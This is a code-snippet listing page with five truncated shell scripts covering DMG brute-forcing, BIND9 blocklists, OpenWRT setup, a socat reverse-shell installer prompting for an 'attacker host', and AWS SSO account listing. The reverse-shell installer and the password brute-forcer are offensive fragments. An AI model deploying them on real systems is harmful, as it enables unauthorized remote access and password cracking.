Code Snippets Shell

Short texts Shell 🧑‍💻 Code snippets Shell ✍️ Reading lists Shell 👀

mac-torrent-download DMG brute-forcer

#!/bin/bash # Title: Macdown.sh # Description: Bruteforce DMG files downloaded from mac-torrent-download.net # Author: Joan Bono (@joan_bono) # Version: 1.0.0 # Last Modified: jbono @ 20200102 RED=’\033[0;31m’ GREEN=’\033[0;32m’ NOCOLOR=’\033[0m’ BOLD=’\033[1m’ DMG=$1 if [ “${DMG}” == “” ]; then echo “[-] No DMG provided.” exit 0 else for x in {{a..z},{0..9}}; do for y in {{a..z},{0..9}}; do […]

BIND9 Shell Script To Download FireBog Block List

#!/bin/sh # clear existing tmp files rm -rf /etc/bind/tmp/*.tmp rm -rf /etc/bind/tmp/zones.adblock touch /etc/bind/tmp/zones.adblock touch /etc/bind/tmp/hosts.tmp # get the firebog tick list of feeds curl -L https://v.firebog.net/hosts/lists.php?type=tick >> /etc/bind/tmp/ticklist.tmp # loop through each feed in the list and download the hosts while read line do curl -L $line >> /etc/bind/tmp/hosts.tmp done < /etc/bind/tmp/ticklist.tmp # clean […]

How to setup a Dumb AP, Wired backbone for OpenWRT / LEDE

# ======================================================== # Setup a Dumb AP, Wired backbone for OpenWRT / LEDE # ======================================================== # Set lan logical interface as bridge (to allow bridge multiple physical interfaces) uci set network.lan.type=’bridge’ # assign WAN physical interface to LAN (will be available as an additional LAN port now) uci set network.lan.ifname=”$(uci get network.lan.ifname) $(uci get network.wan.ifname)” uci […]

a script to install reverse shell using socat on linux

#!/bin/bash # listener # PORT=6969 # socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:$PORT # user input printf ‘enter the attacker host: ‘ read HOST printf ‘enter the attacker port: ‘ read PORT printf ‘enter the delay between attempts to reconnect: ‘ read DELAY # install socat printf ‘installing socat\r’ apt install socat -y > /dev/null 2>&1 echo […]

create account_list.json for awsrun

# # Assume use has logged in via aws sso # aws_sso_cache_file=$(find $HOME/.aws/sso/cache -mtime -1|head -1) sso_access_token=$(jq -r “.accessToken” $aws_sso_cache_file) # Get list of accounts aws sso list-accounts –access-token=”${sso_access_token}” –output json > accounts_list.json